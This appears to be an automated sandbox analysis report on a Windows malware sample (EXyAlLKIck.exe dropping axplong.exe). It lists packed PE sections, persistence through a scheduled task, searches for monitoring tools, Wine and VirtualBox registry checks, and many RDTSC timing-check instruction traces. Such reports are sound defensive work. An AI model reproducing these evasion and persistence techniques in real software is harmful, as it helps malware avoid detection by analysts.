Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 7.2.axplong.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: EXyAlLKIck.exe	Static PE information: real checksum: 0x1caa78 should be: 0x1d70b3
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1caa78 should be: 0x1d70b3

Source: EXyAlLKIck.exe	Static PE information: section name:
Source: EXyAlLKIck.exe	Static PE information: section name: .idata
Source: EXyAlLKIck.exe	Static PE information: section name:
Source: EXyAlLKIck.exe	Static PE information: section name: wfabfqoe
Source: EXyAlLKIck.exe	Static PE information: section name: qxvdwait
Source: EXyAlLKIck.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: wfabfqoe
Source: axplong.exe.0.dr	Static PE information: section name: qxvdwait
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 7_2_006BD84C push ecx; ret

7_2_006BD85F

Source: EXyAlLKIck.exe	Static PE information: section name: entropy: 7.982589984423413
Source: EXyAlLKIck.exe	Static PE information: section name: wfabfqoe entropy: 7.954564972616457
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.982589984423413
Source: axplong.exe.0.dr	Static PE information: section name: wfabfqoe entropy: 7.954564972616457

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 935C73 second address: 935C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92B7E4 second address: 92B7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92B7EA second address: 92B80A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5B8D9CB62h 0x0000000d jc 00007FE5B8D9CB56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92B80A second address: 92B80E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92B80E second address: 92B81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE5B8D9CB56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 935045 second address: 935064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FE5B8F4A752h 0x0000000b js 00007FE5B8F4A746h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 935064 second address: 935078 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE5B8D9CB5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 93537A second address: 93538A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 93538A second address: 935393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 935393 second address: 9353AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FE5B8F4A746h 0x00000014 jo 00007FE5B8F4A746h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9353AD second address: 9353C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 93551C second address: 93553B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE5B8F4A746h 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FE5B8F4A74Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 93553B second address: 93555C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE5B8D9CB68h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937978 second address: 937982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE5B8F4A746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937982 second address: 937986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937A07 second address: 937A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, eax 0x0000000a push 00000000h 0x0000000c mov edi, ebx 0x0000000e push 30A59EDFh 0x00000013 jmp 00007FE5B8F4A754h 0x00000018 xor dword ptr [esp], 30A59E5Fh 0x0000001f adc dx, 377Ah 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FE5B8F4A748h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 call 00007FE5B8F4A748h 0x0000004a pop esi 0x0000004b mov dword ptr [esp+04h], esi 0x0000004f add dword ptr [esp+04h], 00000019h 0x00000057 inc esi 0x00000058 push esi 0x00000059 ret 0x0000005a pop esi 0x0000005b ret 0x0000005c push 00000003h 0x0000005e mov di, 44B1h 0x00000062 push 8CDCC9A9h 0x00000067 pushad 0x00000068 jnp 00007FE5B8F4A748h 0x0000006e push eax 0x0000006f push edx 0x00000070 je 00007FE5B8F4A746h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937A9F second address: 937AF2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 33233657h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FE5B8D9CB58h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3603h], ecx 0x00000032 lea ebx, dword ptr [ebp+1244C89Fh] 0x00000038 mov si, 1805h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 jmp 00007FE5B8D9CB5Ah 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937C67 second address: 937C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A758h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937C83 second address: 937CAE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5B8D9CB56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FE5B8D9CB5Fh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007FE5B8D9CB56h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 937CAE second address: 937CB4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 957155 second address: 95715B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 95715B second address: 95717D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A754h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jo 00007FE5B8F4A746h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 957473 second address: 957479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 957722 second address: 95773E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A758h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 958293 second address: 958299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 958299 second address: 9582B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5B8F4A756h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9582B6 second address: 9582CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FE5B8D9CB56h 0x0000000e jnp 00007FE5B8D9CB56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9582CA second address: 9582D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 94C57B second address: 94C581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 921734 second address: 921749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A751h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 921749 second address: 92174F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92174F second address: 921755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 921755 second address: 921759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 958C46 second address: 958C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FE5B8F4A74Ch 0x0000000c jmp 00007FE5B8F4A74Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 958C69 second address: 958C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 958C6D second address: 958C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 924C72 second address: 924C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 924C78 second address: 924C8C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FE5B8F4A746h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 924C8C second address: 924C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 95E5D1 second address: 95E5D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96555F second address: 965563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 965563 second address: 96557D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8F4A750h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96557D second address: 965583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 965583 second address: 965589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 965589 second address: 96558F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96558F second address: 965595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 964C6D second address: 964C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8D9CB60h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 964E1E second address: 964E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9675A2 second address: 9675C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5B8D9CB65h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9675C2 second address: 9675F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FE5B8F4A74Ah 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 jmp 00007FE5B8F4A74Dh 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9675F6 second address: 96761A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE5B8D9CB5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5B8D9CB5Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96761A second address: 967620 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 967620 second address: 967626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 967A18 second address: 967A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 967AF7 second address: 967B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 967D3C second address: 967D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968230 second address: 968234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968234 second address: 968242 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968242 second address: 968246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968246 second address: 96824A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96824A second address: 968257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968825 second address: 968884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007FE5B8F4A762h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FE5B8F4A748h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov esi, edi 0x0000002b xchg eax, ebx 0x0000002c jmp 00007FE5B8F4A74Dh 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 pushad 0x00000036 popad 0x00000037 pop eax 0x00000038 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968D25 second address: 968D30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE5B8D9CB56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 968D30 second address: 968DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FE5B8F4A74Bh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FE5B8F4A748h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jp 00007FE5B8F4A751h 0x00000033 pushad 0x00000034 jo 00007FE5B8F4A749h 0x0000003a movzx eax, dx 0x0000003d jbe 00007FE5B8F4A74Ch 0x00000043 mov dword ptr [ebp+122D1EB1h], edx 0x00000049 popad 0x0000004a xchg eax, ebx 0x0000004b jmp 00007FE5B8F4A756h 0x00000050 push eax 0x00000051 js 00007FE5B8F4A759h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a pop eax 0x0000005b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 969765 second address: 96976A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96A961 second address: 96A97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A757h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 96AA35 second address: 96AA3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
